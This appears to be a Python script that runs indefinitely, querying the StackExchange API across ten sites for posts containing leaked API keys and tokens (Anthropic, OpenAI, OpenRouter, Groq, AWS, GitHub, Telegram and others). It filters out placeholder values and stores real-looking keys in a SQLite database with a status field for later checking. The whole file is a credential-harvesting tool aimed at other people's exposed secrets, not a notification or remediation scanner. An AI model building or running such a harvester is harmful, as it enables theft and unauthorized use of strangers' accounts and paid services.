"""ETERNAL StackExchange hunt: search/advanced with body, strip HTML, grep keys. Free API: 300 req/day without token. sort=creation desc -> newest first, has_more paging.""" import os KF_BASE = os.path.dirname(os.path.abspath(__file__)) os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True) import hashlib import json import re import sqlite3 import time import urllib.parse import urllib.error import urllib.request DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db") LOG = os.path.join(KF_BASE, "se_eternal.log") UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"} API = "https://api.stackexchange.com/2.3/search/advanced" QUERIES = [ "sk-ant-api03", "sk-proj-", "anthropic api key", "OPENAI_API_KEY", "sk-or-v1", "gsk_", "openrouter api key", "dashscope api key", "deepseek api key", "zhipu api key", "moonshot api key", "kimi", "together api key", "together.ai api key", "replicate api token", "elevenlabs api key", "groq api key", "perplexity api key", "pplx-", "stability api key", "nvidia api key", "nvapi-", "twitter api key", "telegram bot token 123456", "github token pasted", "aws secret", "google api key exposed", "api key in code", "secret key hardcoded", ] from key_patterns import PATTERNS GARBAGE = ("xxxx", "your", "EXAMPLE", "example", "n0tr3al", "INSERT", "FAKE", "fake", "Fake", "test", "Test", "TEST", "demo", "Demo", "aaaa", "aBcDeF", "abcdef", "1234567890", "abcdefghij", "placehol", "changeme", "deadbeef", "fffffff", "0000000") def log(msg): line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n" print(line, flush=True) with open(LOG, "a", encoding="utf-8", errors="replace") as f: f.write(line) def db_add(cur, seen, key, prov, repo): if key in seen or any(g in key for g in GARBAGE) or len(key) < 28: return 0 seen.add(key) cur.execute( "INSERT INTO keys (hash, val, prov, status, found, repo) " "VALUES (?,?,?,?,?,?) " "ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo " "WHERE keys.status IN ('DEAD','ERR')", (hashlib.sha1(key.encode()).hexdigest()[:16], key, prov, "NEW", "se", repo)) return 1 def strip_html(s): s = re.sub(r"", " ", s, flags=re.S | re.I) s = re.sub(r"", " ", s, flags=re.S | re.I) s = re.sub(r"<[^>]+>", " ", s) return s SITES = ["stackoverflow", "superuser", "serverfault", "webapps", "wordpress", "softwareengineering", "crypto", "devops", "unix", "askubuntu"] _site_i = 0 def fetch_page(query, page): global _site_i site = SITES[_site_i % len(SITES)] _site_i += 1 params = { "q": query, "site": site, "order": "desc", "sort": "creation", "pagesize": "100", "page": str(page), "filter": "withbody", } url = API + "?" + urllib.parse.urlencode(params) req = urllib.request.Request(url, headers=UA) with urllib.request.urlopen(req, timeout=30) as r: return json.loads(r.read()) def cycle(db, qi): cur = db.cursor() cur.execute("SELECT val FROM keys") seen = {r[0] for r in cur.fetchall()} total = 0 q = QUERIES[qi % len(QUERIES)] qi += 1 n_questions = 0 try: data = fetch_page(q, 1) quota = data.get("quota_remaining", 300) backoff = data.get("backoff", 0) items = data.get("items", []) log(f"query {q!r}: {len(items)} items, quota={quota}") for it in items: for key in it.get("tags", []): pass qid = it.get("question_id", "") body = strip_html(it.get("body", "") or "") title = it.get("title", "") or "" text = body + " " + strip_html(title) n_questions += 1 for prov, rx in PATTERNS: for key in rx.findall(text): if isinstance(key, tuple): key = key[-1] hit = db_add(cur, seen, key, prov, f"se:{qid}") if hit: total += 1 log(f" + {prov} {key[:24]}... se:{qid}") if backoff: log(f"backoff {backoff}s from API") time.sleep(backoff) if quota < 50: log("quota low, sleeping 30min") db.commit() time.sleep(1800) except urllib.error.HTTPError as e: log(f"HTTPError {e.code} for {q!r}; throttle -> sleep 5min") db.commit() time.sleep(300) except Exception as e: log(f"cycle err: {str(e)[:80]}") db.commit() return total, qi def main(): log(f"=== se eternal START pid={__import__('os').getpid()} ===") db = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None) qi = 0 while True: try: n, qi = cycle(db, qi) log(f"CYCLE done: +{n}; resting 3min") except Exception as e: log(f"cycle error (continuing): {e}") time.sleep(180) if __name__ == "__main__": main()